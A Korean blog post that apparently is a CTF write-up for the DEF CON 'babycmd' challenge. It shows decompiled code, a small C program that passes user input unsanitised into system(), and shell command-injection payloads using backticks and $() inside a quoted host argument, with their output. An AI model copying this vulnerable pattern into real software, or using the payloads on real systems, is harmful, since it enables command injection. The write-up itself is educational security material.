ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Defcon 23 - babycmd
    CTF 2016. 5. 19. 00:30

    babycmd 는 64비트 ELF 바이너리가 주어진다. 일단 트릭문제임을 알아채고 첫번째로 분석을 시작했다.

    64비트라고 무조건 그런것은 아니지만 바이너리 이름부터 커맨드와 관련된것이 아닐까?


    일단 다음과같은 코드로 개행문자를 만나기전까지 입력을받는다.


    do

            {

              v7 = _IO_getc(stdin);

              if ( v7 == -1 )

                break;

              if ( v7 == '\n' )

                break;

              ++v6;

              v12[v5] = v7;

              v5 = v6;

            }



    v12에 넣고, v12를 strncpy 로 dest 란 변수에 저장하게되는데 아래코드를 보면 다양한 커맨드로 비교를 한다



    strcasecmp는 처음보지만, strcmp와 동일한 기능을 하는것같다. 만약 커맨드가 들어간다면 각각의 함수들이 호출되는데, 



    sprintf_chk 함수로 command에 인자값을 받고 넣어준다.


    그리고 실행시키게되는데, 쪼끔 이상한것이 보인다.


    __sprintf_chk(&command, 1LL, 384LL, "host \"%s\"", &cp);


    더블쿼터로 감싸져 있다. 직접 코딩을 해주자



    #include <string.h>
    #include <stdio.h>
    
    int main(int argc,char *argv[])
    {
        char buf[256];
        char command[256];
    
        read(0,buf,sizeof(buf));
        sprintf(command,"ping \"%s\"",buf);
        system(command);
        return 0;
    }



    똑같이 코딩을 해주었다.


    실행해보면 그냥 ping 문자열이 들어가게되는데, 더블쿼터로 쌓여져있다 백쿼터를 사용해보자



    s0ngsari@ubuntu:~/Desktop$ ./pwn

    `ls`

    ping: unknown host babycmd_3ad28b10e8ab283d7df81795075f600b

    checksec.sh

    pwn

    pwn.c


    s0ngsari@ubuntu:~/Desktop$ 


    백쿼터를 사용해서 저 인자를 우리가 조작해줄수있다. 


    back quote에 대해서 알아보면, 명령어를 대체할수있다는 문장이나온다. 


    : host a`ls`a

    Host ababycmd_3ad28b10e8ab283d7df81795075f600b

    checksec.sh

    pwn

    pwn.c not found: 3(NXDOMAIN)

    Commands: ping, dig, host, exit


    host 명령과 같이 실행된다. 이렇게 우리가 커맨드인젝션을 할 수 있게되고, 백쿼터가아닌  $()해당 명령도 `와 동일하게 명령을 대체할수있다.


    : host a$(ls)a

    Host ababycmd_3ad28b10e8ab283d7df81795075f600b

    checksec.sh

    pwn

    pwn.c not found: 3(NXDOMAIN)

    Commands: ping, dig, host, exit

    'CTF' 카테고리의 다른 글

    Defcon 24 - easy_prasky  (4) 2016.05.23
    Defcon r0pbaby푸는데  (0) 2016.05.19
    TUCTF pwn75  (0) 2016.05.18
    TUCTF woO2  (0) 2016.05.18
    dimictf - pwn250  (0) 2016.05.18

    댓글

Designed by Tistory.